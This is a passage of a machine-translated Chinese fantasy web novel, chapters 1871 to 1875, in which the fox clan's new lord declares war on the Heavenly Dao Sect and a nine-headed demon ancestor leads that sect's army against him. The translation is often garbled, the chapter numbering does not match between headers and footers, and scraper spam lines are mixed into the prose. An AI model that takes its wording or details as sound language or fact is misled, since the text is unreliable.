    Huye trembled all over, as if thinking of something, turned his head to look at the chair.


    The chair was empty and there was nothing.


    Tears gradually appeared in Hu Ye''s eyes, and then he hissed and growled like a wounded beast.


    "Great Elder!"


    After a sound, he opened his mouth and spit out a big mouthful of blood.


    at the same time.


    The three-life tree in the void in the distance also swayed, and the entire crown of the tree was immediately full of white flowers.


    Seeing such a wonder, many people are stupid.


    "This...this tree is filial piety for the great elder!" Hu Wan murmured foolishly, resisting tears.


    As soon as this remark came out, all the foxes cried.


    Because the Three Life Tree is the spiritual belief of the entire fox family, and the great elder is the **** in the mind of the fox family.


    Now that God is gone, there is only a silent tree left.


    This caused the entire fox clan to fall into confusion.


    At this time, Fox Night was still hissing like a beast, and his form began to become extremely unstable. The hair on his body continued to grow, and the six tails appeared behind him, as if he was about to show his original form. same.


    Seeing this, Arou hugged him tightly and cried and said, "Fox Ye, wake up, don''t do this!"


    But everything didn''t help, and Fox Ye''s eyes seemed to turn blood red.


    At this moment, Xue An stepped forward suddenly, slapped his hand at Fox Ye''s face.


    The slap and fan were so fierce that Hu Ye was stunned and looked at Xue An unconsciously with his eyes.


    Xue An''s face was like ice, and he said in a deep voice: "Have you been crying enough? Do you want to continue making trouble like this?"


    The blood in Fox Ye''s eyes gradually faded.


    Xue An continued: "Yes, the elder is dead, but what did he tell you before he died? You will be the lord of Qingqiu from now on. All the fox races are waiting for you to make an idea. How good are you? Such childish crying, who are you worthy of?"


    These remarks were very rude, but as Xue An asked, Fox Ye''s state gradually calmed down, the abnormality on his body faded away, and for the first time a smart light appeared in his eyes.


    "I understand." Hu Ye slowly stood up and said softly.


    After he was completely standing still, the whole person''s aura suddenly changed, the majestic fairy king''s prestige came out wantonly, and the whole demon clan that suppressed it was just one of them.


    "The great elder is dead, I am the lord of Qingqiu, and all the fox races listen to orders!" Hu Ye said lightly.


    With an order, the fox and fox were tortured, and even the entire fox family bowed together.


    "in!"


    "The Human Race Tiandaozong covets my family''s chances and acts despicable. My Fox Ye declares now that the Qingqiu Fox Country will immediately declare war with Tiandaozong!"


    "Here!" All the foxes responded in unison.


    And this kind of aura also changed the look of all the monster races present. Good chinese


    Hu Ye looked at them and said solemnly: "I''m sorry, my wedding is over here, you can leave by yourself. After the Tiandaozong is punishable, I will invite you to come to the funeral of the elder!"


    When these words came out, many Yaozu secretly breathed a sigh of relief.


    They are really afraid of being involved in this matter.


    After all, one side is the Qingqiu Fox Country, and the other side is the famous top human clan.


    Neither is easy to mess with.


    Therefore, after hearing what Fox Ye said, many monster races left without even saying hello.


    Among them, the fastest and most decisive one was Huo Yaojing, the eldest princess of the Fire Rat clan.


    Seeing her face full of anxiety, she really wished her parents had two more legs, and ran out in a hurry.


    And from the beginning to the end, she didn''t look at Hu Ye, as if all the previous feelings had vanished at this moment.


    Hu Ye looked blankly, and didn''t say anything.


    But after seeing this scene, Hu Ying snorted, "What a **** who sees the wind, she cried and yelled to marry my brother before, but now Qingqiu Fox Country runs away better than anyone else Come on! Bah!"


    Hu Ying deliberately said so loudly that many people heard it.


    Huo Yaojing is no exception.


    Seeing her face changed, she glared at Fox Ying bitterly, but she didn''t seem to be ashamed.


    "What? Now that your brother has married a wife, am I still here to accompany you to die?"


    As soon as Huo Yaojing said what she said, the faces of the elders of the Fire Rat tribe behind her turned pale.


    Now the gang of foxes in the Qingqiu Fox Country are in a moment of indignation, Huo Yaojing''s remarks are simply adding fuel to the fire.


    What a no-brained woman! Many Yaozu can''t help but think secretly.


    really.


    Hu Ying was furious, "What did you say? You just died! You bitch, who haunted my brother in the first place, now that the situation is not good, I want to slip away immediately, what!"


    Not only Hu Ying, but also the fox clan such as Hu Wan and Hu Xing are also staring at Huo Yaojing with a bad expression.


    Huo Yaojing''s face turned pale, knowing that she had said the wrong thing, but how could she, who has always been domineering, show weakness at this time, so she pretended to be calm and said.


    "You will know when you die or not. No matter what you say, I won''t be with you anyway, and I don''t think anyone will be willing to stay here with you!"


    With that, she sneered a few times before leaving.


    But at this moment, Long Er Princess Ao Yi slowly walked over, Chonghuye said lightly: "Happy wedding!"


    Fox night nodded, "Thank you, second princess go slowly!"


    "Walk slowly..." Ao Yi smiled, "Who said I''m leaving?"


    "Huh?" Hu Ye was taken aback, "You..."


    But Ao Yi ignored him. Instead, he turned to look towards Huo Yaojing, and said lightly: "Didn��t you just say that no one would stay? Then I wanted to stay, and it��s not just me. The Dragon Clan elite that I brought will not leave, because I would like to know how powerful Dao Sect is this day, and dare to intervene in my monster clan affairs!"


    Huo Yaojing''s complexion was green and white Even though her brain was as bad as her, she saw the clue at this moment.


    This Ao Yi was obviously ready to help Qingqiu Fox Country.


    But she didn''t dare to say anything, because who didn''t know that once the second dragon princess went crazy, she wouldn''t be jealous. Wouldn''t it be wrong to beat herself up again at that time.


    So she could only make a cold snort pretending to be a gesture, then turned and left.


    Soon, all the monster races were gone, leaving only the dragon race members that Ao Yi had brought.


    Huye also understood at this time, and then thanked him very sincerely: "Second princess, thank you very much."


    Ao Yi waved his hand, "No need to thank me, no need to misunderstand anything, I just can''t get used to the arrogance of the Tiandaozong guys!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this (Chapter 1875 Declaration of War (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1871： Xingkong Dajiao

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Everything was temporarily quiet.


    The red happy character that was illuminated before has not been removed, and the entire Qingqiu Fox Country is enveloped in a sad atmosphere.


    Zhuge Zang put away the golden needles, and said in a deep voice: "Fox Ye, you just suffered some damage to your cultivation base because of your anger. I used the golden needles to help you recover, but you should not be too excited. You need to rest for a few days. !"


    Huye nodded, "I understand, thank you."


    Zhuge Zang glanced at Hu Ye strangely, then shook his head, turned and exited the room.


    At this moment, Xue An was standing in the corridor outside and looking at the void in the distance. After hearing the footsteps, he asked without looking back: "How?"


    "There is nothing wrong with the body, it''s just..."


    "Just what?"


    "Forget it, maybe I was worrying too much!" Zhuge Zang sighed lightly, and then walked to Xue An''s side.


    "What are you looking at?"


    Xue An was silent for a moment, and then said: "Old way, what do you think is the end of death?"


    "The end of death?" Zhuge Zang was taken aback for a moment, and then fell into contemplation.


    To be honest, he has never thought about this problem.


    It wasn''t until a long time later that he breathed out lightly and shook his head, "I don''t know, why did you ask this question suddenly?"


    Xue An said softly: "The elder of the fox clan asked me this question before he was alive because he said that I died once and should understand this question better than others."


    Zhuge Zang suddenly said, "So how did you answer?"


    On the high platform at that time, many of the dialogues between Xue An and the elder were sealed, and outsiders simply did not know.


    "I told him that the end of death is rebirth."


    "Rebirth..." Zhuge Zang repeated these two words softly, before he knew it, he fell into contemplation again.


    "Yes, it''s rebirth!" Xue An stared at the three-life tree in the void in the distance, "because the end of everything is the beginning of everything."


    As soon as this statement came out, Zhuge Zang''s whole body was shaken, and then his aura suddenly changed, as if he had realized some pass, his aura began to rise steadily.


    "I understand!" Zhuge Zang''s face showed joy, and then said to Xue An very sincerely: "Thank you!"


    Xue An smiled, "No thanks, you can realize that everything is your own chance."


    After that, Xue An stepped into the void and came to the Sansheng Tree.


    The Sansheng tree at this time was full of white flowers, exuding a dazzling beauty under the shining starry sky.


    Xue An was not in a hurry, but walked step by step, but at this speed, he came to the top of the tree in the blink of an eye.


    The white jade pagoda still stands on the spot, but the person inside is no longer there.


    Xue An lowered his head and looked at the canopy flower sea under his feet.


    In the center of this endless sea of ??flowers, that is, in the middle of the canopy, there is a small fruit.


    The fruit is full of red, not very eye-catching, but it gives a very strange feeling.


    It''s as if there is a life being bred inside.


    Seeing this little fruit, Xue An''s mouth gradually raised, revealing a faint smile.


    "It seems that you still seized the opportunity, right? Great Elder!"


    at the same time.


    What happened in Qingqiu Fox Country was like a super nuclear bomb, blasting the whole monster clan.


    The great elder of the fox clan died, the first major disciple of the Heavenly Dao Sect was killed, and the Fox Ye ascended the throne and declared war on the Heavenly Dao Sect!


    Each one is a major event that can shake the heavens.


    At least the whole Yaozu was stunned. Search Novels


    Not only that, the news is spreading crazily outwards at a terrifying speed.


    Wherever he went, the heavens were shaken by it.


    All because of the fact that Heavenly Dao Sect is too tyrannical.


    Xingkong Dajiao, top sect!


    This kind of existence is usually something that many people dare not look at.


    In the end, this time he broke the sand and settled in the Qingqiu Fox Country. Not only did he fail to achieve what he was seeking, but he also took the life of the first major disciple.


    Everyone knows that there will be a big battle next.


    Because if Tiandaozong couldn''t handle this matter properly, then there would be no dignity.


    More importantly, this time the shot was the reincarnated Red Lotus Immortal Venerable.


    Now things become more subtle.


    Because I don''t know how many people are staring at Xue An''s rebirth.


    In the words of Li Jingxing before, there are many people who don''t want to see Xue An come alive.


    In this case, a dark tide began to surge.


    Many people who are usually hidden deeply have quietly appeared at this moment.


    Tiandaozong.


    After hearing the words of the informant, the huge hall was silent.


    All the deacons of Tiandaozong were angry, but they did not dare to make a sound.


    Because their suzerain hasn''t spoken yet.


    The name of the Sect Master of Tiandao Sect is Tiansu, he looks only forty years old, and his face is extremely majestic, especially his eyes, which are almost like an abyss, possessing infinite deterrence.


    At this moment, he was sitting above the central theme, his expression calm, and he was playing with a jade cicada in his hand.


    But everyone knows that the calmer the Heavenly Dao Sect Master''s performance, it means that the anger in his heart is more fierce.


    A bitter power enveloped the audience, and many oppressed people looked pale and couldn''t even lift their heads.


    The strength of the top fairy king made him feel supremely majestic.


    After a long time, he raised his eyebrows slightly and sneered, "Red Lotus Immortal Venerable! Ha ha, in the last life you used the power of the Immortal Venerable to overwhelm the heavens, I had to take it, but in this life, you only dared to be so arrogant when you only proved Dao. Dare to ruin my good deeds, you are really looking for death!"


    When he speaks, people in the house dare to speak.


    "Yes, this Xue Ante is arrogant, this time I must teach him a lesson!"


    "Yes, wasn''t that opportunity swallowed by the night of the fox? By then, catch this fox back and use him as a sacrifice directly, so you can still get the chance of the Emperor!"


    There was a lot of discussion all at once.


    Tiansu waved his hand, "Okay."


    With a sound, the room immediately became quiet again.


    Then Tiansu looked at the informant, "You said that Zhuge Zang was also there, and Qi Liqing also took refuge in him?"


    He hurriedly nodded and returned to the lord, it was indeed the case. "


    Tiansu sneered a few times after hearing this, "Okay! Very good! I really didn''t expect that this woman, Qi Liqing, would dare to betray her family."


    A deacon on the side immediately stepped forward when he heard the words: "My lord, since this Liqing behaves in this way, then all her clan will be slaughtered, so as to be an example."


    Tian Su shook his head, "Don''t worry, it doesn''t matter whether the gang of trash kills or not, it is still useful to keep them."


    After that, he looked around at everyone present, "Everyone should have heard that Hao Yan is dead. Since the establishment of the Tiandao Sect, no one has dared to act like this, and Qingqiu Fox Country actually dare to declare war with us!"


    "Okay, then we will let this group of foxes know what makes Xingkong Dajiao great!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1876 Xingkong University (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1872： 9 monster snakes

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    "Here!" In the hall, all the deacon of Tiandaozong bowed and responded with the disciples.


    The sound shook the fields, causing the stars around Tiandaozong to tremble slightly.


    Countless people living above this star field have noticed the strangeness at the same moment, and their faces all have awe.


    There was even the monk who was attached to the Heavenly Dao Sect, even if he fell to his knees, he kept kowtow in the direction of the Heavenly Dao Sect, muttering words with a frantic expression.


    In the minds of these monks, the Heavenly Dao Sect is like a round of brilliant sun, and it is the supreme ruler of this star field and even the entire heavens.


    And this feeling of awe and worship from hundreds of millions of beings also turned into a cosmopolitan radiance, and merged into Tiansu''s body.


    A pleasant color appeared on Tiansu''s face, and he enjoyed the feeling of standing among billions of people.


    It''s as if the world and all things are under the control of one hand, it is fascinating.


    But suddenly, Tiansu''s complexion changed slightly, and then he said in a deep voice, "You wait to get down and prepare."


    "Yes!"


    Everyone bowed and retreated, then Tiansu turned and walked towards the depths of the temple.


    This is an almost empty space.


    There is no up and down, no time passing, there is just endless darkness.


    After Tian Su walked into it, he bowed respectfully into the darkness, "Master Demon Ancestor, what''s the matter with you calling me here?"


    Following his voice, the darkness began to roll and surge.


    Suddenly, a huge eye was opened in the darkness. This eye was so huge that it even gave people a sense of sight that occupies the entire space.


    Moreover, there was a mysterious red glow in this eye, so powerful that even Tiansu, who was the fairy king, couldn''t help but trembled in his heart.


    The giant eyes stared at Tiansu for a moment, and then a voice full of supreme majesty came from the depths of the void.


    "Have I ever grabbed the opportunity I let you seize?"


    Tiansu trembled, and hurriedly said: "Master Hui Yaozu, the matter is about to succeed, the great elder of the Qingqiu Fox Country is dead, but when he is about to take the opportunity into his bag, suddenly Someone intervened in this matter, and it ended up falling short!"


    "What?" There was a stern shout in the darkness, and the huge coercion directly flew Tiansu far away. After reluctantly standing still, his face couldn''t help showing paleness.


    "Someone would dare to ruin my good deeds? Who the **** is it!" the voice said angrily.


    "Yes... it''s the reincarnated Red Lotus Immortal Venerable!" Tiansu said tremblingly.


    "Red Lotus Immortal? Xue An?"


    "Yes, it''s him!"


    The voice suddenly fell silent.


    Tiansu looked at it with a little horror, but secretly calculated in his heart.


    If this demon ancestor took action on this matter, it would be considered a big success. What kind of shit, immortal Venerable, would all have to surrender obediently.


    So he gritted his teeth secretly, and said with a flattering smile.


    "Master Demon Ancestor, you have been asleep for this period of time, so you don��t know what happened to the outside world. After Xue An returned from rebirth, the limelight was in the limelight. Just after proving Dao, the Immortal King eliminated the Five Elements Evil Emperor and other great evil sect masters. There was no difference in the limelight, and this incident finally broke in his hands."


    Speaking of this, Tiansu''s face showed a sad expression, "Even your favorite Hao Yan is dead!"


    Speaking of this, he peeked at the huge eye in the depths of the void, wanting to see some clues from it, but he saw nothing except the flickering red light.


    After a long silence, Tiansu finally couldn''t help it, and once again said: "Master Yaozu..." Sanjiu Chinese website


    "Okay, needless to say, I know all of this! Although I am asleep, one of my clones was destroyed in the hands of Xue An, as for Tianhao Yan..."


    The voice became extremely cold, "He will be killed wearing the armor that I personally gave, which only shows that he is a waste!"


    "What do you think we should do about this?" Tiansu asked.


    "The fairy emperor''s chance must be obtained, so this Qingqiu fox country must be destroyed, as for this Xue An..."


    One eye after another suddenly opened in the darkness.


    In an instant, nine huge eyes occupied the entire void.


    Hongmang illuminates this space.


    It wasn''t until then that it was clear that in the darkness was a huge monster that was so hideous and indescribable.


    The snake''s body was entwined, not knowing how long it was, and there were nine snake heads growing above the high snake''s body, and above the snake''s head was this huge eye.


    The whole scene is like a monster that people see in the deepest nightmare, evil, hideous, and extremely terrifying.


    But after seeing this strange snake, Tian Su knelt to the ground with excitement, "Respectfully welcome the demon ancestor to show up!"


    For him who admired power, although the strange snake in front of him was extremely ugly, it meant supreme majesty and authority.


    "Jie Jie Jie!" One of the snakes had a weird smile with his hair, and fishy saliva dripped from his wide open mouth.


    "Lao Jiu, why do you wake me up after sleeping for so long? Give me a reason, otherwise I will bite your head off."


    The snake head at the very beginning said in a deep voice: "The fairy emperor''s chance has already appeared, as long as we seize it, we can get out of trouble."


    "Quack, quack, great! Hurry, I''m leaving here, I want to taste the delicious flesh and blood!" The eight snake heads began to dance and cheer, and the scene was like a dance of demons.


    But Tiansu looked obsessedly, his eyes full of enthusiasm.


    "But now someone is preventing us from getting a chance!"


    "Who is it? I want to eat him alive!" The eight snake heads roared when they heard the words.


    "Xue An!"


    As soon as the name appeared, the eight snake heads became quiet again.


    "Red Lotus Immortal Venerable? What? It''s him that you want to seize?"


    "Of course not. Unless our main body can get out of trouble, we won''t be able to seize his chance. It is the old fox from Qingqiu Fox Country, who was about to succeed, but Xue An intervened in this matter."


    "Asshole! This asshole! I dare to spoil my good deeds. He must die again!"


    The eight snake heads roared, and then suddenly opened their mouths, as if something was squirming upwards in the huge snake body.


    Immediately afterwards, countless tentacles flew out of the mouths of these snake heads, waved in the air, and then intertwined and merged with each other, forming a humanoid silhouette Tian Su thought of something, his face was full of excitement Watching.


    Finally, when everything was merged, a nearly perfect male body appeared in the void, and then the nine-headed monster snake slowly retreated into the darkness and disappeared.


    At the same time, the man suddenly opened his eyes, and the brilliance flashed in the pair of reptiles'' unique vertical pupils, full of indescribable evil and coldness.


    Tiansu knelt on his knees and shouted respectfully: "Master Yaozu!"


    The man lowered his head and glanced at him, and the corners of his mouth gradually raised, revealing a chilling smile.


    "Assemble all the disciples of the Heavenly Dao Sect and set off immediately to destroy the Qingqiu Fox Country!"


    "Yes!"


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 1877 Nine-headed Snake (first update)) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1873： Clash is coming

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    After a while, the ancient and deep horn of war was sounded.


    The Heavenly Dao Sect, which occupies a full star field, then boiled.


    The reason why a master of the sky is called a master of the sky is that it must first have a super strong person, and secondly, it must have a deep foundation.


    And these two points Tiandaozong have all.


    Therefore, when the horn of war was sounded, countless disciples rushed into the air, and the glory was almost like a fountain.


    In the void, there was a chariot with a radius of hundreds of thousands of miles slowly driving out, and the icy muzzle was all shining with brilliance that could destroy the world.


    A deacon with the least name and a top true celestial celestial celestial celestial celestial being lined up in the air.


    Although it has been reinforced countless times, the power this time is really terrifying, so terrible that cracks in this extremely solid space have been shaken out.


    The overwhelming crowd can''t even see the edge at a glance.


    The Hydra man stood on top of the largest chariot, and the pair of vertical pupils was full of cold light.


    At this moment, he has changed into a black diadem suit, embroidered with sun, moon, stars, mountains and lakes on it, making his perfect cheek more and more majestic, even just standing there is a kind of The urge to kneel down and worship.


    Tiansu stood behind him respectfully, and said proudly, "Master Demon Ancestor, are you still satisfied?"


    The Hydra man''s mouth grinned open, revealing his mouth full of triangular teeth. The prestige and handsomeness from before disappeared instantly, and he smiled **** and terribly.


    "Yes, although it is a bunch of waste, but there is too much waste, it looks good!"


    Tiansu smiled stiffly, but didn''t know what to say.


    "How far is it from Qingqiu Fox Country?"


    "My lord, if you go forward at full speed, it will be ten days!"


    "Okay, let''s go now."


    "Yes!"


    The Hydra man turned around and walked into the chariot. When he passed Tiansu, he suddenly stopped and licked his lips with his tongue like a snake.


    "By the way, for these ten days, I have to provide me with ten women above the Golden Immortal level every day. The average women are too boring, and they die at random. They can''t have fun at all!"


    "Yes!" Tiansu nodded immediately.


    The Hydra man smiled and patted him on the shoulder, and then left.


    Tiansu wiped the cold sweat from his forehead, turned around and shouted at the deacon in the distance: "Hurry up and catch ten golden fairies, then gather the battle formation and set off immediately!"


    Rumble!


    After the battle formation was assembled, countless chariots carried the crowd and set off into the void.


    The Heavenly Dao Sect finally showed the full strength of a Starry Sky Great Sect, transformed into a ferocious war behemoth, crushing towards the Qingqiu Fox Country.


    And this scene was spread throughout the heavens through various means.


    "Hi! Heavenly Dao Sect can be said to have come out of the nest this time!" A monk exclaimed.


    "The strength of Master Xingkong is really terrifying, and these chariots alone are enough to crush ordinary sects!"


    "This country of Qingqiu Fox is over. It has just lost a peerless powerhouse and met an opponent like Tiandaozong. It is undoubtedly dead."


    "You can''t say that, isn''t the Red Lotus Immortal Venerable in the Qingqiu Fox Country?"


    "Hehe, what if he is here? He is just an immortal king now, not the invincible immortal strong at the beginning!" Someone sneered.


    "Let''s wait and see, I don''t think it will be that simple! This battle will be very exciting."


    There was a lot of discussion, but only a few people noticed the strangeness in the picture.


    In an ancient and huge temple, a woman with a black veil looked at the picture in the water mirror, she was silent, as if thinking about something. 400 novels


    After a long time, she raised her head, a look of doubt flashed in a pair of eyes that were as cold as autumn water.


    "Master Saint, is there any problem?" a priest asked respectfully, kneeling on the ground.


    The woman said lightly: "Sect Master Tiansu of Tiandao has been standing outside the chariot, waiting for something respectfully. It can be seen that there must be something in the chariot that makes him awed."


    "You mean..."


    "My prophet''s eyes can''t see through the mist that covers the chariot."


    The priest was shocked, and his face looked horrified.


    Even the Saintess could not see through the eyes of the prophet, so what is the origin of the other party?


    "If I didn''t guess wrong, it should be the legendary super powerhouse hidden in the Heavenly Dao Sect!"


    The woman said softly and suddenly stood up.


    "Preparing to set off, this battle is obviously not trivial. Naturally, I cannot be absent from the Temple of Slaughter.


    "Yes!"


    At the same time, similar scenes are being staged among the major sects.


    Everyone knows that, on the surface of this battle, the battle between Tiandaozong and Qingqiu Fox Country, to a large extent, was actually the first real challenge Xue An faced after his rebirth.


    He had singled out the six immortal kings on Earth before and won. Although the results are amazing, they are far from being compared with this time.


    After all, although the Five Elements Evil Emperor is powerful, it is still far behind the Heavenly Dao Sect.


    Not only that, but many monsters who were about to move because of Xue An''s rebirth also became active at this time.


    Amidst the surging dark tide, a battle that shook the past and shone today is about to break out!


    at the same time.


    In the Qingqiu Fox Country, the atmosphere has obviously become tense.


    Many elders, such as the fox and the fox penalty, entered and exited with solemn expressions, busy setting up a defensive formation.


    Even the most ordinary little fox demon is doing his own thing as best he can.


    Despite this, after the news that Dao Zong rushed forward with a mighty army, the faces of many fox tribes couldn''t help showing despair.


    They all knew that the current Qingqiu Fox Country could not withstand the offensive of Heavenly Dao Sect at all.


    Could it be said that the Qingqiu Fox Country, which has existed for tens of thousands of years, will be destroyed like this?


    In contrast, Fox Night is much calmer.


    Every day, he would go around the entire Qingqiu Fox Country. Wherever he went, many fox races looked at his calm and composed look, and a glimmer of hope rose in their hearts.


    Although faint, it is at least hope, isn''t it?


    But if it is said who is the calmest in the entire Qingqiu Fox Country, it must be Xue An.


    He rarely even showed up and basically stayed in the room to drink tea and drink with Zhuge Zang.


    Today is no exception.


    Xue An raised his wine glass, after playing around for a while, he drank all the wine in the glass, and then said lightly: "Old way, what do you think of this... victory or defeat?"


    Zhuge Zang shook his head, "I don''t know!"


    Xue An raised his eyebrows slightly, "Why don''t you know? Haven''t you counted it?"


    Zhuge Zang smiled bitterly, "How can I calculate this kind of battle involving many causes and effects and related to the pattern of the heavens? But there is only one thing worth noting."


    "what?"


    Zhuge Zang''s complexion became awe-inspiring, "That is the super power of Tiandaozong in the rumors."


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 1878 confrontation is coming (second more)) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1874： Army pressure

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    "Although I can''t figure out the final result, I have sorted out a few in private, and without exception, the whole Tiandao Sect was covered by a strange force."


    Speaking of this, a look of fear appeared on Zhuge Zang''s face, and even his voice trembled, "The coldness and evil of this power have exceeded the imagination of ordinary people, and even I have never seen it."


    Xue listened quietly, and suddenly smiled, "Old Dao, do you know why I am waiting for the Heavenly Dao Sect in Qingqiu Fox Country?"


    Zhuge Zang was taken aback, "Isn''t it because of Xiandi chance?"


    "That''s just one of them."


    Xue An put down the wine glass in his hand, blinked at Zhuge Zang, and said with a smile but a smile: "As for another reason...you will know by then!"


    Zhuge Zang: "..."


    Then he couldn''t help but said: "Did you mean it? Aroused my curiosity but didn''t go any further. Do you know that I would not sleep like this!"


    Xue An chuckled, "A guy with a big bun once said a word to me."


    "What are you talking about?"


    "Don''t speak or speak."


    Zhuge Zang didn''t come over in a breath, choking himself to cough, and it took a long time to return to normal, then sighed: "Really, if it wasn''t because I couldn''t beat you, I would have done it with you!"


    Xue An laughed, and the laughter shook the entire Qingqiu Fox Country, making many fox tribes puzzled.


    "What''s going on? Why is Brother Xue so happy?" Hu Ying, who was busy arranging a defensive formation with the fox vine, raised her head and said with a puzzled expression.


    Not far away, the octopus, who was waving dozens of tentacles to transport various items, couldn''t help but poked his head out, and said curiously: "Yeah, why are adults so happy?"


    Under a distraction, her tentacles shook slightly, and as a result, a chalcedony spar weighing several tons fell directly, which happened to hit Xiao Sha''s head, who was immersed in work.


    Bang.


    The chalcedony spar was torn apart, and Xiao Sha immediately fell to the ground.


    "Xiaosha!" An Yan exclaimed and rushed over.


    But Xiao Sha didn''t move, and seemed to have passed out to death.


    Zhang Xiaoyu was completely frightened and stupefied. Her face was as pale as a piece of white paper. With her hands and feet in a mess, her tentacles were still tied into a knot in the air, and then stumbled over.


    "Master Xiaosha, what''s the matter with you? Don''t be okay, Master Xiaosha, are you smashed to death?" Zhang Xiaoyu cried out crying.


    "You were smashed to death!" Xiao Sha lying on the ground cried out in a muffled voice, then slowly got up from the ground and dusted his body.


    Only then did Zhang Xiaoyu take a breath, and immediately thought of something, and forced a flattering smile on his face, "It''s all right, it''s all right, I''m going to work now."


    After all, she hurriedly returned to work and devoted herself to becoming a porter.


    The episode passed quickly.


    Everyone was busy with enthusiasm, and even the two little girls, Thinking and Nian, were doing their best.


    Everything was fine, but at this moment, the tentacles of the octopus trembled again.


    At this time, several pieces of jade mixed with various instruments all fell down.


    Xiaosha standing below was knocked to the ground again.


    Now Xiao Sha is hot, "Xiaoyu Zhang, what do you want to do? Do you want to die?"


    In the roar, Xiao Sha wanted to rush over to clean up the octopus.


    But at this time, the octopus looked at the sky with horror, and trembled: "It''s not me, but the space is shaking."


    Everyone was shocked when they heard the words and quickly began to investigate.


    really. 315 Chinese Network


    The void was oscillating with a slight amplitude, and all the planets within the scope of the Qingqiu Fox Country that it was driving were shaking lightly.


    Now, everyone''s complexion changed.


    Because they all know that there is only one reason why the void trembles so softly, and that is that a very terrifying existence is coming.


    at the same time.


    Hu Yeye had already appeared on the high platform, with a solemn expression on his face and slowly said: "It''s Heavenly Dao Sect, they are here!"


    Beside him, Xue An and Zhuge Zang did not know when they had already arrived.


    Even Princess Long Er noticed the strangeness, and led her to rush over.


    Qi Liqing was full of horror, and his whole body was trembling slightly.


    Because she recognized the breath.


    Her family was destroyed under this breath, so she was unforgettable about it.


    Everyone''s complexion became serious, only Xue An''s complexion was calm, his eyes piercingly looked up at the sky, and he said lightly: "It''s not just them, but there are many familiar auras."


    Words fall.


    But seeing the sky above the sky suddenly rippled, and then saw a huge chariot ramming out of it, covering the entire sky in the blink of an eye, and even squeezing the star field of Qingqiu Fox Country. It''s a dead end.


    And on the chariot that traveled hundreds of thousands of miles away, there were countless disciples of Tiandaozong standing densely.


    Every disciple has a decent cultivation base, so when they assemble into a square formation, their aura is strong, and even a illusion of Taoism formed above the square formation.


    Even more shocking is to stand in the front phalanx, because those who make up these phalanx are all deacons of Tiandaozong.


    Anyone who gets outside is always a resounding powerhouse, but at this moment, it is like a car fighting, making the scalp numb.


    And on the top of the magnificent chariot, Tiansu and the many high-level deacons of Tiandaozong stood together, looking down at everyone with cold eyes.


    Seeing this scene, the Saint Slaughter Temple who came afterwards couldn''t help but sigh, "It''s over, Qingqiu Fox Country is defeated."


    That''s right.


    This time, it was not only the people from the Heavenly Dao Sect who came to Qingqiu Fox Country, but also many people with good deeds.


    But most of them didn''t dare to get too close, but stood in the void in the distance and pointed to the Qingqiu Fox Country.


    "Tsk tusk, looking at the current state of Qingqiu Fox Country, it should definitely be defeated!"


    "That''s right, the Heavenly Dao Sect''s army is overwhelmed. If this group of foxes wants to survive, they have to surrender."


    of course.


    These people talking are basically small roles.


    The existence like the Saintess of Slaughter Temple all stand in a certain corner, looking at the scene before them with sinking faces.


    As for how many of these come from ulterior motives, only they know.


    Not only that, when the Dao Sect people descended on the Qingqiu Fox Country that day, the big monster races also received the news at the first time, and then watched the scene through various means.


    The atmosphere was extremely suppressed.


    No one speaks.


    Quietly in the field, you can hear the hunting sound of the wind blowing over the corner of the clothes.


    Finally, Tiansu''s gaze stayed on Xue An, and then he sneered.


    "Red Lotus Immortal Venerable, long time no see!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1879 Army Pressure (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1875： Otherwise what?

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    The words are full of grotesque teasing and mockery.


    Xue An was not angry either. Instead, he raised his eyebrows slightly and said with a smile instead of a smile: "Tiansu, it really is you! When I was the Immortal Venerable, you were the Immortal King. Now I have reincarnated and reborn as the Immortal King. You are still an immortal. king!"


    "What? Are you planning to be a little fairy king forever?"


    The words floating in the air also shocked everyone present or absent.


    Many people opened their eyes wide and their faces looked incredible.


    When did the fairy kings actually become small?


    You must know that no matter where it is, the fairy king is an absolute powerhouse.


    Even the strong immortal emperor did not dare to say with certainty that he would be able to kill the immortal king in a flash.


    But the problem is that these words came out of Xue An''s mouth but it was so logical and not against the peace at all.


    He is the only one who deserves to say that in this tone.


    Because, he used to be the Immortal Venerable who overwhelmed all the stars.


    At this point, many people couldn''t help but remember the fear of being dominated by the red lotus karma fire, and their expressions became shrinking.


    The Saintess of Slaughter Temple looked at the young man in a white clothed snow in the distance, her eyes a little complicated.


    This was the first time she saw Xue An''s true face.


    When Xue An was the Immortal Venerable in the previous life, she was not yet a saint.


    But she has heard too much about Xue An''s deeds.


    Before coming, she thought about what Xue An would be like.


    But after I saw it, I still felt a deep consternation.


    Because Xue An looked like a handsome young man no matter how he looked, and he couldn''t see the domineering that Xianzun should have in the past.


    To be honest, she was quite disappointed at the time, and that''s why she concluded that Qingqiu Fox Country was dead.


    It was not until she heard Xue An''s domineering words that she was shocked, and then a strange thought rose in her heart.


    Maybe... Qingqiu Fox Country will not necessarily lose!


    Tiansu''s complexion suddenly turned pale, but he did not respond to Xue An''s words. He just glanced at Xue An with the same look of a dead person, and then turned his head to look to the side of Qi Liqing.


